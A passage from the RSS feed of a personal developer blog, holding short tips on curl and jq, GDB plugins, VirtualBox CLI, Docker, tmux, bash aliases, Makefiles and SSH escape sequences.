&lt;p>&lt;code>curl http://some.endpoint/with-json-response | jq '.'&lt;/code>&lt;/p>
&lt;p>I&amp;rsquo;ve wrote useful function called &lt;code>jcurl&lt;/code> that is basically wrapper on that command above:&lt;/p>
&lt;pre tabindex="0">&lt;code>function jcurl() {
 curl &amp;#34;$@&amp;#34; | jq &amp;#39;.&amp;#39;
}
&lt;/code>&lt;/pre>&lt;br/>
&lt;p>P.S.
Don&amp;rsquo;t forget to source your &lt;code>(bash|zsh|any)rc&lt;/code>.&lt;/p></description></item><item><title>Disable CURL's globbing parser</title><link>https://codelearn.me/2018/03/23/disable-curl-globbing-parser.html</link><pubDate>Fri, 23 Mar 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/03/23/disable-curl-globbing-parser.html</guid><description>&lt;p>Hey. Recently I&amp;rsquo;ve tried to CURL something like this:&lt;/p>
&lt;p>&lt;code>curl 'http://localhost?q[param]=value'&lt;/code>&lt;/p>
&lt;p>and I got &lt;code>[globbing] bad range in column&lt;/code> error from CURL.
This one is unexpected since I was thinking that using single quotes
do not require any escaping. To find a workaround you can check &lt;code>man curl&lt;/code> and
seek for &lt;code>globbing&lt;/code>.&lt;/p>
&lt;p>So the solution is &lt;code>-g&lt;/code> option:&lt;/p>
&lt;p>&lt;code>curl -g 'http://localhost?q[param]=value'&lt;/code>&lt;/p>
&lt;p>P.S.&lt;/p>
&lt;p>Sure you can manually escape square brackets but if your url is pretty long
it can take some time.&lt;/p></description></item><item><title>Restart audio subsystem on Ubuntu</title><link>https://codelearn.me/2018/03/20/restart-audio-ubuntu.html</link><pubDate>Tue, 20 Mar 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/03/20/restart-audio-ubuntu.html</guid><description>&lt;p>I&amp;rsquo;m on Ubuntu 17.10 right now and sometimes after suspend
I&amp;rsquo;m getting no sound and only dummy device available.&lt;/p>
&lt;p>&lt;code>pulseaudio -k &amp;amp;&amp;amp; sudo alsa force-reload&lt;/code> - execute this to fix the issue.&lt;/p></description></item><item><title>AwesomeWM change key repeat frequency</title><link>https://codelearn.me/2018/03/11/awesomewm-key-repeaeat-speed.html</link><pubDate>Sun, 11 Mar 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/03/11/awesomewm-key-repeaeat-speed.html</guid><description>&lt;p>Hi,&lt;/p>
&lt;p>Switching from Gnome3 to AwesomeWM I&amp;rsquo;ve noticed that key repeat frequency
is lower on AwesomeWM.&lt;/p>
&lt;p>To fix this you can use &lt;code>xset&lt;/code> tool (check &lt;code>man xset&lt;/code>). The tool allows you to
set various options for x server. Key repeat frequency is one of those.&lt;/p>
&lt;p>Just execute this in your terminal &lt;code>xset r rate 220 25&lt;/code> and
you will immediately see the effect. Find the best parameters for you and
then add this line to your &lt;code>rc.lua&lt;/code> (if you don&amp;rsquo;t know where to add it just add it to the bottom):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lua" data-lang="lua">&lt;span style="display:flex;">&lt;span>os.execute(&lt;span style="color:#e6db74">&amp;#34;xset r rate 220 25&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>&amp;lt;3&lt;/p></description></item><item><title>Restore terminal printing</title><link>https://codelearn.me/2018/03/10/restore-terminal-printing.html</link><pubDate>Sat, 10 Mar 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/03/10/restore-terminal-printing.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;p>sometimes I accidentaly print binary file with &lt;code>cat &amp;lt;thefile.bin&amp;gt;&lt;/code> and my
terminal is getting broken after that due to printing of some escape characters.&lt;/p>
&lt;p>To fix it you can use &lt;code>reset&lt;/code> command. Checkout the &lt;code>man reset&lt;/code> to get more info about this command.&lt;/p></description></item><item><title>Docker detach keys</title><link>https://codelearn.me/2018/03/01/docker-terminal-navigation.html</link><pubDate>Thu, 01 Mar 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/03/01/docker-terminal-navigation.html</guid><description>&lt;p>If you like me and use CTRL-P/CTRL-N instead of arrow keys to navigate through command history, you should be disappointed
on how CTRL-P works in docker terminal (the one you see after docker run, docker exec).&lt;/p>
&lt;p>It turned out CTRL-P is used for what they call detaching from terminal, which I didn&amp;rsquo;t know about even.&lt;/p>
&lt;p>So basically when you press CTRL-P the terminal is waiting for another key press (CTRL-Q in current case). That&amp;rsquo;s why CTRL-P
works in strange way.&lt;/p>
&lt;p>The issue &lt;a target="_blank" href="https://github.com/moby/moby/pull/15666">was solved&lt;/a> couple of years ago.&lt;/p>
&lt;p>What you need to do is create &lt;code>.docker&lt;/code> folder in your home directory (&lt;code>mkdir ~/.docker&lt;/code>) and create &lt;code>config.json&lt;/code> file there with this content:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;detachKeys&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;ctrl-@&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
You can use other keys of course but CTRL-P should work as usual right now.</description></item><item><title>GDB oneliners</title><link>https://codelearn.me/2018/02/24/gdb-oneliners.html</link><pubDate>Sat, 24 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/24/gdb-oneliners.html</guid><description>&lt;p>Recently I wanted to print disassembled main funciton of the program to the file
so I can read it in my Emacs, but it turned out I can&amp;rsquo;t simply redirect the GDB output
to the file with &lt;code>disassemble main &amp;gt; main.asm&lt;/code> command in gdb command line.&lt;/p>
&lt;p>But there is &lt;code>-ex&lt;/code> option exists in gdb command so we can execute some gdb commands
right after gdb is initialized.&lt;/p>
&lt;p>Looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>gdb &amp;lt;file&amp;gt; -ex &lt;span style="color:#e6db74">&amp;#39;disassemble main&amp;#39;&lt;/span> -ex &lt;span style="color:#e6db74">&amp;#39;quit&amp;#39;&lt;/span> &amp;gt; main.asm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
As you can see we can chain multiple commands. It's important to have `quit` as the last one
to make sure we exit GDB.</description></item><item><title>GDB PEDA config</title><link>https://codelearn.me/2018/02/24/gdb-peda.html</link><pubDate>Sat, 24 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/24/gdb-peda.html</guid><description>&lt;p>Hey everyone.&lt;/p>
&lt;p>I already have a post about &lt;a href="https://codelearn.me/2018/02/19/gdb-dashboard.html">GDB Dashboard&lt;/a> package which is cool but I&amp;rsquo;ve just found somethine even better.&lt;/p>
&lt;p>Meet &lt;a href="https://github.com/longld/peda">PEDA&lt;/a>. It looks really awesome. I wasn&amp;rsquo;t able to try all the commands
it provides but the interface looks pretty awesome.&lt;/p>
&lt;p>It shows stask in realtime which Dashboard package lack. Not just showing addresses but also strings
if any of them are on the address.&lt;/p>
&lt;p>Now my GDB looks like debuggers I have used to before like OllyDbg.&lt;/p>
&lt;p>If you use GDB a lot especially for software exploring you have to try the PEDA package.&lt;/p>
&lt;p>Here is screenshot from their repo.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/peda.png">&lt;img width="600px" src="https://codelearn.me/assets/img/peda.png"/>&lt;/a>&lt;/p></description></item><item><title>GDB print string from memory</title><link>https://codelearn.me/2018/02/24/show-string-in-memory.html</link><pubDate>Sat, 24 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/24/show-string-in-memory.html</guid><description>&lt;p>Hey,
just found a command for gdb that prints a string from memory address.&lt;/p>
&lt;p>Looks like this &lt;code>x /s &amp;lt;addr&amp;gt;&lt;/code>. Very useful if you need to print out the string that is in memory somewhere.&lt;/p>
&lt;p>Previously I&amp;rsquo;ve used other flags to print for example hex values but was pretty hard to read.
Glad there is special solution in GDB for this.&lt;/p></description></item><item><title>Circle image with CSS</title><link>https://codelearn.me/2018/02/20/circle-image-css.html</link><pubDate>Tue, 20 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/20/circle-image-css.html</guid><description>&lt;p>Here is post about how to make circled image with css. I have to note it since
I can&amp;rsquo;t remember how css works in general and can&amp;rsquo;t force myself to learn it.&lt;/p>
&lt;p>Here is the result:&lt;/p>
&lt;p>&lt;a href="https://codelearn.me/assets/img/circled-images.png" target="_blank">&lt;img width="600px" src="https://codelearn.me/assets/img/circled-images.png" />&lt;/a>&lt;/p>
&lt;p>I was trying to use just &lt;code>border-radius&lt;/code> but it&amp;rsquo;s not super great since it doesn&amp;rsquo;t allow
us to center the content of image.&lt;/p>
&lt;p>Solution is class similar to this one:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-css" data-lang="css">&lt;span style="display:flex;">&lt;span>.&lt;span style="color:#a6e22e">img-circular&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">width&lt;/span>: &lt;span style="color:#ae81ff">50&lt;/span>&lt;span style="color:#66d9ef">px&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">height&lt;/span>: &lt;span style="color:#ae81ff">50&lt;/span>&lt;span style="color:#66d9ef">px&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">background-size&lt;/span>: &lt;span style="color:#66d9ef">cover&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">display&lt;/span>: &lt;span style="color:#66d9ef">inline-block&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">border-radius&lt;/span>: &lt;span style="color:#ae81ff">50&lt;/span>&lt;span style="color:#66d9ef">px&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">background-position&lt;/span>: &lt;span style="color:#66d9ef">center&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>Of course you also have to set &lt;code>background-image: url(&amp;lt;the url&amp;gt;)&lt;/code> for your image.
I do it with &lt;code>style&lt;/code> attribute directly. Here is how the element code looks like in general:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">div&lt;/span> &lt;span style="color:#a6e22e">style&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;background-image: url(&amp;#39;url-here&amp;#39;)&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">class&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;img-circular&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#f92672">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
As you can see there is no `img` tag at all and we use div with background image instead. It allow us to center
the background.</description></item><item><title>GDB dashboard</title><link>https://codelearn.me/2018/02/19/gdb-dashboard.html</link><pubDate>Mon, 19 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/19/gdb-dashboard.html</guid><description>&lt;p>If you use GDB you definitely have to try &lt;a href="https://github.com/cyrus-and/gdb-dashboard">Dashboard package&lt;/a> by Andrea Cardaci.&lt;/p>
&lt;p>Here is how it looks like:&lt;/p>
&lt;center>&lt;a href="https://codelearn.me/assets/img/gdb-dashboard.png" target="_blank">&lt;img width="600px" src="https://codelearn.me/assets/img/gdb-dashboard.png"/>&lt;/a>&lt;/center>
^ Click to make it bigger.
&lt;p>Looks very nice, it updates itself each time when you &lt;code>step&lt;/code> or do another action.
It was confusing why Memory area is empty by default and shows nothing even when I try to &lt;code>x &amp;lt;memory&amp;gt;&lt;/code>.&lt;/p>
&lt;p>It turned out I have to tell dashboard to watch for particular area of memory. Here is how to do it:&lt;/p>
&lt;p>&lt;code>dashboard memory watch &amp;lt;addr&amp;gt; &amp;lt;how many bytes&amp;gt;&lt;/code>&lt;/p>
&lt;p>for example:&lt;/p>
&lt;p>&lt;code>dashboard memory watch $ebp 42&lt;/code>&lt;/p>
&lt;p>Now it looks awesome.&lt;/p></description></item><item><title>Projectile cleanup list of known projects (spacemacs)</title><link>https://codelearn.me/2018/02/19/projectile-known-projects.html</link><pubDate>Mon, 19 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/19/projectile-known-projects.html</guid><description>&lt;p>Recently I&amp;rsquo;ve switched through a lot of different OS setups and my projects list in Spacemacs was bloated.&lt;/p>
&lt;p>Some projects were from MacOS, others were from Windows. All of them were not existed anymore.&lt;/p>
&lt;p>I&amp;rsquo;ve tried to find a file where Emacs (Spacemacs) stores list of projects but I&amp;rsquo;ve found even better elisp function
for this.&lt;/p>
&lt;p>Just call &lt;code>M-x projectile-cleanup-known-projects&lt;/code> and every path (project) that is not exists
on your current machine will be removed from the list of known projects.&lt;/p>
&lt;center>&lt;img src="https://media.giphy.com/media/e1BxgoFxAOmbK/giphy.gif"/>&lt;/center>
&lt;p>Glad there is such function and my *spacemacs* buffer looks much much better now&lt;/p></description></item><item><title>Work remotely by Julia Evans</title><link>https://codelearn.me/2018/02/19/work-remotely-by-julia-evans.html</link><pubDate>Mon, 19 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/19/work-remotely-by-julia-evans.html</guid><description>&lt;p>Really, really &lt;a href="https://jvns.ca/blog/2018/02/18/working-remotely--4-years-in/">awesome blog post&lt;/a> from Julia Evans about working remotely.&lt;/p>
&lt;p>She has described every worry I have and explained how she managed work over them.&lt;/p>
&lt;p>Just found out her blog and it seems very interesting in general.&lt;/p></description></item><item><title>VirtualBox get IP of VM (cli)</title><link>https://codelearn.me/2018/02/18/run-commands-on-guest-vm.html</link><pubDate>Sun, 18 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/18/run-commands-on-guest-vm.html</guid><description>&lt;p>Here is command to run from CLI to get &lt;code>ifconfig&lt;/code> output on guest machine (with ubuntu server):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>vboxmanage guestcontrol &amp;lt;vm name&amp;gt; run --exe &lt;span style="color:#e6db74">&amp;#39;/sbin/ifconfig&amp;#39;&lt;/span> --username &amp;lt;username&amp;gt; --password &amp;lt;pass&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
**Make sure GAs are installed on the guest**
&lt;p>You can write shell function to simplify the call:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> vbox-get-ip&lt;span style="color:#f92672">()&lt;/span> &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#f92672">[&lt;/span> -z $1 &lt;span style="color:#f92672">]&lt;/span>; &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;pass VM name&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vboxmanage guestcontrol $1 run --exe &lt;span style="color:#e6db74">&amp;#39;/sbin/ifconfig&amp;#39;&lt;/span> --username &amp;lt;username&amp;gt; --password &amp;lt;pass&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
Now just call `vbox-get-ip &lt;vm name>` and `ifconfig` output will be shown!
&lt;br/>
&lt;p>Sure you can execute other commands on the host. Just make sure you pass full path to the binary.&lt;/p></description></item><item><title>VirtualBox Headless mode</title><link>https://codelearn.me/2018/02/18/virtualbox-headless-mode.html</link><pubDate>Sun, 18 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/18/virtualbox-headless-mode.html</guid><description>&lt;p>I use VirtualBox and do some testing and learning with multiple machines running at once.&lt;/p>
&lt;p>Usually those machines are servers so I don&amp;rsquo;t really need the GUI since I connecting to them using SSH clinet.&lt;/p>
&lt;p>When VirtualBox is installed you&amp;rsquo;ll see &lt;code>VBoxManage&lt;/code> executable (&lt;code>vboxmanage&lt;/code> is also there as alias) which is CLI tool
that allows you to interact with your VMs.&lt;/p>
&lt;p>Here is a command how you can start VM in headless mode:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>vboxmanage startvm &amp;lt;vm name&amp;gt; --type headless
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
Pretty simple.
&lt;p>To shutdown the VM run this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>vboxmanage controlvm &amp;lt;vm name&amp;gt; poweroff
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
That's it. You can also run `vboxmanage` without any params to get list of all options/actions it supports.
&lt;p>Have fun.&lt;/p></description></item><item><title>Dropbox direct link to file</title><link>https://codelearn.me/2018/02/10/dropbox-direct-link.html</link><pubDate>Sat, 10 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/10/dropbox-direct-link.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;p>Just switched to Firefox and tried to find the way how I can replace the start page.&lt;/p>
&lt;p>The only way I&amp;rsquo;ve found is use
&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/new-tab-override/" target="_blank">New Tab Override&lt;/a>
extension. It allows to set custom html I want to use for start page but other files like css/js and fonts should be linked.&lt;/p>
&lt;p>I don&amp;rsquo;t have them anywhere except my Dropbox and of course usual dropbox link isn&amp;rsquo;t working since it opens Dropbox&amp;rsquo;s page
where I can download the file itself.&lt;/p>
&lt;p>But there is workaround.&lt;/p>
&lt;p>Just copy dropbox link to your file. It may look like this:&lt;/p>
&lt;p>&lt;code>https://www.dropbox.com/s/fy44flf3pw2afsp/thefile.js?dl=0&lt;/code>&lt;/p>
&lt;p>and then replace &lt;code>www.dropbox.com&lt;/code> with &lt;code>dl.dropboxusercontent.com&lt;/code>.&lt;/p>
&lt;p>So the link should look like this:&lt;/p>
&lt;p>&lt;code>https://dl.dropboxusercontent.com/s/fy44flf3pw2afsp/thefile.js?dl=0&lt;/code>&lt;/p>
&lt;p>Now you have direct link to your file and you can src it in your html.&lt;/p>
&lt;p>P.S.&lt;/p>
&lt;p>While I was writting it just realised I can write css/js inline&amp;hellip;&lt;/p>
&lt;center>&lt;img src="https://media.giphy.com/media/wMvESGxZ0Cqd2/giphy.gif"/>&lt;/center></description></item><item><title>Tmux, default shell</title><link>https://codelearn.me/2018/02/05/tmux-default-shell.html</link><pubDate>Mon, 05 Feb 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/02/05/tmux-default-shell.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;p>recently I&amp;rsquo;ve switched to Windows and trying to adapt WSL (linux subsystem) to make it play together with my habits.&lt;/p>
&lt;p>This time the issue was Tmux starting bash when I need ZSH. No matter what shell was set by &lt;code>chsh -s&lt;/code> command Tmux was don&amp;rsquo;t care.&lt;/p>
&lt;p>The thing I found on stackoverflow is setting &lt;code>default-shell&lt;/code> option of Tmux to &lt;code>/bin/zsh&lt;/code> (in my case).&lt;/p>
&lt;p>Here is what you need to add to your &lt;code>~/.tmux.conf&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>set-option -g default-shell /bin/zsh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>Don&amp;rsquo;t forget to restart your Tmux or &lt;code>:source-file&lt;/code> the new configuration.&lt;/p></description></item><item><title>Bash. Variables inside aliases</title><link>https://codelearn.me/2018/01/31/alias-variables.html</link><pubDate>Wed, 31 Jan 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/01/31/alias-variables.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;p>Recently I had to use bash alias that contains &lt;code>$(pwd)&lt;/code> inside so I&amp;rsquo;ve defined it like that:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>alias thename&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;something &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>pwd&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> --option=value&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>Of course I know a bit of bash so that&amp;rsquo;s why I use double quotes!&lt;/p>
&lt;center>&lt;img alt="how I feel" src="https://media.giphy.com/media/BrZTIgDc7VmnK/giphy.gif" width="200px"/>&lt;/center>
&lt;p>But it turned out to be wrong. Each time when my bash/zsh was opened the alias was defined with &lt;strong>INTERPRETED&lt;/strong> &lt;code>$(pwd)&lt;/code>
which is the directory where bash was opened (usualy home dir).&lt;/p>
&lt;p>Actually we have to use single quotes to make sure that &lt;code>$(pwd)&lt;/code> isn&amp;rsquo;t interpreted at the moment of alias definition but it is
when we call the alias.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;br/>
&lt;ul>
&lt;li>use single quotes if you want to make sure variable/command is interpreted during the alias call.&lt;/li>
&lt;li>use double quotes if you only want to interpretate variable/command on the alias definition stage (and only once).&lt;/li>
&lt;/ul></description></item><item><title>Docker volumes, WSL and Docker for Windows [memo]</title><link>https://codelearn.me/2018/01/25/fix-wsl-docker-volumes.html</link><pubDate>Thu, 25 Jan 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/01/25/fix-wsl-docker-volumes.html</guid><description>&lt;p>Hey.&lt;/p>
&lt;p>While I&amp;rsquo;m on Windows I do use Docker for Windows. It&amp;rsquo;s running on my host machine but I&amp;rsquo;m running
docker commands from WSL (Windows Linux subsystem).&lt;/p>
&lt;p>While running it from there the volumes I&amp;rsquo;m trying to mount into the container won&amp;rsquo;t work.&lt;/p>
&lt;p>So the solution is (assume everything you want to mount is on disk C):&lt;/p>
&lt;ul>
&lt;li>&lt;code>sudo mkdir /c&lt;/code> - to create a directory named &lt;code>c&lt;/code>&lt;/li>
&lt;li>&lt;code>sudo mount --bind /mnt/c /c&lt;/code> - mount existing &lt;code>/mnt/c&lt;/code> into &lt;code>/c&lt;/code>&lt;/li>
&lt;li>&lt;code>cd /c/path/to/project&lt;/code> - go to the project&lt;/li>
&lt;li>&lt;code>docker run -it -v $(pwd):/project node bash&lt;/code> - it WORKS!&lt;/li>
&lt;/ul>
&lt;p>The solution has been found here - &lt;a href="https://github.com/Microsoft/WSL/issues/1854">https://github.com/Microsoft/WSL/issues/1854&lt;/a>&lt;/p>
&lt;p>&amp;lt;3&lt;/p></description></item><item><title>Ruby's bundle exec [memo]</title><link>https://codelearn.me/2018/01/25/bundle-usage.html</link><pubDate>Thu, 25 Jan 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/01/25/bundle-usage.html</guid><description>&lt;p>Hey.&lt;/p>
&lt;p>I mostly use PHP or Node.js and sometimes I have to touch Ruby projects.&lt;/p>
&lt;p>I know I can run &lt;code>bundle install&lt;/code> to install deps from Gemfile but I was unable to find them in the project directory.&lt;/p>
&lt;p>It turned out the reason is they are installed globally. It doesn&amp;rsquo;t fit my needs sometimes so I had to find the way to install them locally.&lt;/p>
&lt;p>They solution is:&lt;/p>
&lt;ul>
&lt;li>&lt;code>bundle install --path=./local-dir-name&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>it will install packages into local directory but you were not be able to call binaries. Ok&amp;hellip;&lt;/p>
&lt;p>The solution for this is to run binaries via &lt;code>bundle exec&lt;/code> like so:&lt;/p>
&lt;ul>
&lt;li>&lt;code>bundle exec jekyll serve&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Works perfectly.&lt;/p></description></item><item><title>Make list targets [memo]</title><link>https://codelearn.me/2018/01/08/make-list-targets.html</link><pubDate>Mon, 08 Jan 2018 00:00:00 +0000</pubDate><guid>https://codelearn.me/2018/01/08/make-list-targets.html</guid><description>&lt;p>Here is small note about the target I put in every Makefile I have.&lt;/p>
&lt;p>The target is called &lt;code>list&lt;/code> and looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-makefile" data-lang="makefile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">.PHONY&lt;/span>&lt;span style="color:#f92672">:&lt;/span> list
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">list&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> @&lt;span style="color:#66d9ef">$(&lt;/span>MAKE&lt;span style="color:#66d9ef">)&lt;/span> -pRrq -f &lt;span style="color:#66d9ef">$(&lt;/span>lastword &lt;span style="color:#66d9ef">$(&lt;/span>MAKEFILE_LIST&lt;span style="color:#66d9ef">))&lt;/span> : 2&amp;gt;/dev/null | awk -v RS&lt;span style="color:#f92672">=&lt;/span> -F: &lt;span style="color:#e6db74">&amp;#39;/^# File/,/^# Finished Make data base/ {if ($$1 !~ &amp;#34;^[#.]&amp;#34;) {print $$1}}&amp;#39;&lt;/span> | sort | egrep -v -e &lt;span style="color:#e6db74">&amp;#39;^[^[:alnum:]]&amp;#39;&lt;/span> -e &lt;span style="color:#e6db74">&amp;#39;^$@$$&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It prints list of all targets defined in your Makefile.&lt;/p>
&lt;p>Took it from &lt;a href="https://stackoverflow.com/a/26339924/1867518" title="makefile list targets">this brilliant stackoverflow answer&lt;/a>&lt;/p></description></item><item><title>SSH escape sequences or how to quit frozen SSH connection</title><link>https://codelearn.me/2017/10/27/ssh-escape-seqaence.html</link><pubDate>Fri, 27 Oct 2017 00:00:00 +0000</pubDate><guid>https://codelearn.me/2017/10/27/ssh-escape-seqaence.html</guid><description>&lt;p>Hey,&lt;/p>
&lt;p>So your SSH session has been frozen? Here is what I was doing when it happened.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/ssh-baboon.gif">&lt;img alt="ssh frozen gif" src="https://codelearn.me/assets/img/ssh-baboon.gif" width="550px"/>&lt;/a>&lt;/p>
&lt;p>The actual thing that should be done is press:&lt;/p>
&lt;ul>
&lt;li>&lt;code>Enter&lt;/code>&lt;/li>
&lt;li>&lt;code>~&lt;/code> (tilda)&lt;/li>
&lt;li>&lt;code>.&lt;/code> (dot)&lt;/li>
&lt;/ul>
&lt;p>Welcome back to your local machine.&lt;/p>
&lt;p>The actions performed are called &lt;strong>Escape Sequence&lt;/strong>.&lt;/p>
&lt;p>SSH is just a shell tunnel between you and another machine.
The SSH client pass all keys sequence, including key bindings, to the server.&lt;/p>
&lt;p>So if you want to press &lt;code>CTRL+c&lt;/code> to kill the running app it will be killed
on the remote machine instead of killing the current SSH client.&lt;/p>
&lt;p>Special key sequences allows you to get reaction directly from SSH client
instead of an app on remote server.&lt;/p>
&lt;p>If you want to see all possible sequences just press:&lt;/p>
&lt;ul>
